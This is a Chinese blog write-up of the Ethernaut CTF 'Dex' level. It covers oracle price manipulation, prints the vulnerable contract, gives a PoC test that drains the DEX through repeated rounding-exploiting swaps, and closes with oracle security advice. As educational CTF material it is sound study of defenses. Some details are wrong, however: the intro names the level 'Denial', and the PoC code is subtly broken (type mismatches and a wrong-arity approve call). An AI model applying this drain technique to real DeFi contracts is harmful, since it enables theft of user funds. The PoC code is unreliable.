Ethernaut 题解 - Dex

  • Lori
  • 更新于 2024-03-04 09:20
  • 阅读 1337

通过破解 Ethernaut - Denial 来了解价格操纵,该合约非常简单,旨在学习,后续将更新如何通过闪电贷操纵价格,以及BonqDAO 价格操纵事件分析

Ethernaut Solutions

on my Github 我通过破解 Ethernaut CTF 学习了智能合约漏洞,对合约进行了安全分析,并提出了相应的安全建议,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。

About Ethernaut

  • Ethernaut 是由 Zeppelin 开发并维护的一个平台,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。
  • 平台网址:https://ethernaut.zeppelin.solutions/

Dex合约分析

价格操纵攻击

价格预言机

去中心化交易所(DEX)是加密货币交易的主要方式。它们允许用户交换一种加密货币为另一种加密货币,而无需通过中央机构。

在执行交易的过程里,价格数据是至关重要的,那么价格如何获取呢?交易所本身是去中心化的,但由单一交易所提供的资产价格是中心化的,因为它来自一个去中心化交易所。然而,如果我们考虑代表实际资产而不是虚构资产的代币,那么大多数代币都会在多个去中心化交易所和网络中拥有交易对。这将减少在特定去中心化交易所受到此类攻击时对资产价格的影响。

价格预言机是用于查看给定资产价格信息的任何工具.

  1. chainlink是最知名的预言机之一,提供安全可靠的数据源,支持多种数据源接入,并提供可信赖的数据传输。

  2. UniswapV2 Oracle 依赖于一种称为 TWAP 的时间加权价格模型,该协议是防止价格操控的机制,但远远不够,因为该协议严重依赖于去中心化交易所协议的流动性,如果流动性过低,价格很容易被操纵。

    现实中的攻击案例

    大多数攻击场景包括:

  3. 替换价格预言机地址

    a. 根本原因:特权操作缺乏身份验证机制 b. 案例:Rikkei Finance

  4. 攻击者通过闪电贷,瞬间抽走预言机的流动性,使受害合约获取异常的价格信息, 此漏洞常在 GetPrice、Swap、StackingReward、Transfer(带销毁费用)等关键功能中被利用.

    a. 根本原因:项目方使用了不安全的预言机,或是未实现TWAP时间加权平均价格。

    b. 案例:One Ring Finance

价格操纵

攻击者可以利用价格操纵迫使 DeFi 协议执行有损于其利益的转账操作。例如,他们可以操纵协议进行从价值较低的资产到价值较高的资产的交换,或同意进行一笔巨额贷款,其中低价值的资产被用作抵押品。这种漏洞利用是通过操纵代币的流通以及对代币价格的后续影响来实现的。这种行为导致了 DeFi 生态系统内的巨大损失。

下面我们通过 Ethernaut Dex 了解价格操纵攻击。

攻击分析

  • 攻击类型:操控价格预言机
  • 目标:player最开始token1和token2各有10个,合约则各有100个,要求攻击者从合约中完全取走至少 1 种token
  • 平台网址:https://ethernaut.zeppelin.solutions/
    
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable { address public token1; address public token2; constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; }

function addLiquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); }

function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); }

function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); }

function approve(address spender, uint amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); }

function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } }

contract SwappableToken is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; }

function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } }

合约`Dex.sol`实现了去中心化交易所(DEX)的基本功能。它允许DEX的所有者提供代币对 token1 和 token2 的流动性,当最终用户交换这些代币时,不收取任何费用。最终用户将使用DEX来交换(出售)一定数量的一种代币,以获取另一种代币的 swapAmount(取决于DEX的代币价格)。我们主要关注以下3个函数:
- `swap(address from, address to, uint amount)`:交换(卖出/买入)代币。
  该函数通过合约里`getSwapPrice`计算交换价格,卖出一定数量的 token1 ,将获取 token2 的数量。之后根据计算出的数量进行转账。
function swap(address from, address to, uint amount) public {
  require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
  require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
  uint swapAmount = getSwapPrice(from, to, amount);
  IERC20(from).transferFrom(msg.sender, address(this), amount);
  IERC20(to).approve(address(this), swapAmount);
  IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
- `getSwapPrice(address from, address to, uint amount)`:价格预言机,获取 Dex 的 from-to 的瞬时价格,输入交易对的地址,和交换 from 代币的数量,根据即时价格获取换出 to 代币的数量。该 Dex 不使用外部预言机(如 Chainlink)或 Uniswap TWAP(时间加权平均价格)来计算交换价格。相反,它使用代币的余额来计算,这是一种即时价格,我们从这点入手。

function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); }

function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); }

在 Solidity 中,除法是通过按照**舍入误差**进行,于所有整数除法都向下舍入到最接近的整数而引入的,7/2 等于3,而不是3.5。 

## Proof of Concept。

根据以上分析,完整的 PoC 代码如下:
```solidity
interface IDex {
    function token1() external returns (address);
    function token2() external returns (address);
    function swap(address from, address to, uint amount) external;
    function getSwapPrice(address from, address to, uint amount) external view returns(uint);
    function approve(address spender, uint amount) external;
}

interface ISwappableToken {
    function approve(address owner, address spender, uint256 amount) external;
    function balanceOf(address account) external view returns (uint256);
}

contract DexTest is BaseTest {

    function test_Attack() public {
        ISwappableToken token1 = ISwappableToken(IDex(contractAddress).token1());
        ISwappableToken token2 = ISwappableToken(IDex(contractAddress).token2());
        vm.startPrank(deployer);

        token1.approve(contractAddress, 200);
        token2.approve(contractAddress, 200);

        // To drain the dex our goal is to make the balance of `tokenIn` much lower compared to balance of tokenOut
        attackSwap(token1, token2);
        attackSwap(token2, token1);
        attackSwap(token1, token2);
        attackSwap(token2, token1);
        attackSwap(token1, token2);
        /* 
            在所有这些交换之后,当前情况如下:
            token1 余额 -> 0
            token2 余额 -> 65
            Dex token1 余额 -> 110
            Dex token2 余额 -> 45
            如果交换所有的 65 个 token2,将得到 158 个 token1,交易会失败
            110 = token2 数量 * 110 / 45
            token2 数量 = 45
         */
        IDex(contractAddress).swap(address(token2), address(token1), 45);

        assertEq(token1.balanceOf(contractAddress) == 0 || token2.balanceOf(contractAddress) == 0, true);

        vm.stopPrank();
    }

    function attackSwap(address tokenIn, address tokenOut) internal {
        IDex(contractAddress).swap(address(tokenIn), address(tokenOut), tokenIn.balanceOf(player));
    }
}

安全建议

  1. 不要使用流动性差的池子做价格预言机,价格容易随着代币的流动性变化而波动。
  2. 不要使用瞬时价格,价格预言机操纵是一个时间敏感的操作,攻击者想要降低风险,他们希望在单个交易中完成操纵价格预言机所需的两笔交易(闪电贷价格操控攻击)。加入价格延迟以减少价格瞬时波动。
  3. 时间加权平均价格(UniswapV2 TWAP)这种预言机对于大型资金池,在长时间内无链拥塞情况下,高度抵抗预言机操纵攻击。但由于其实现方式的特性,可能无法在市场剧烈波动时快速响应,并且仅适用于链上已有流动性代币。
  4. 使用去中心化的预言机,这种方法更安全性,但存在缺点,如网络拥塞时可能无法及时更新价格,同时需要用户相信你会更新价格。
  5. 对Oracle预言机返回的结果进行校验,以确保数据的准确性和可靠性。

扩展阅读

samczsun: So you want to use a price oracle 智能合约安全指南#3:价格预言机的漏洞

点赞 1
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Lori
Lori
0x3F3c...Dc2F
最近有点儿小忙,更新不频繁~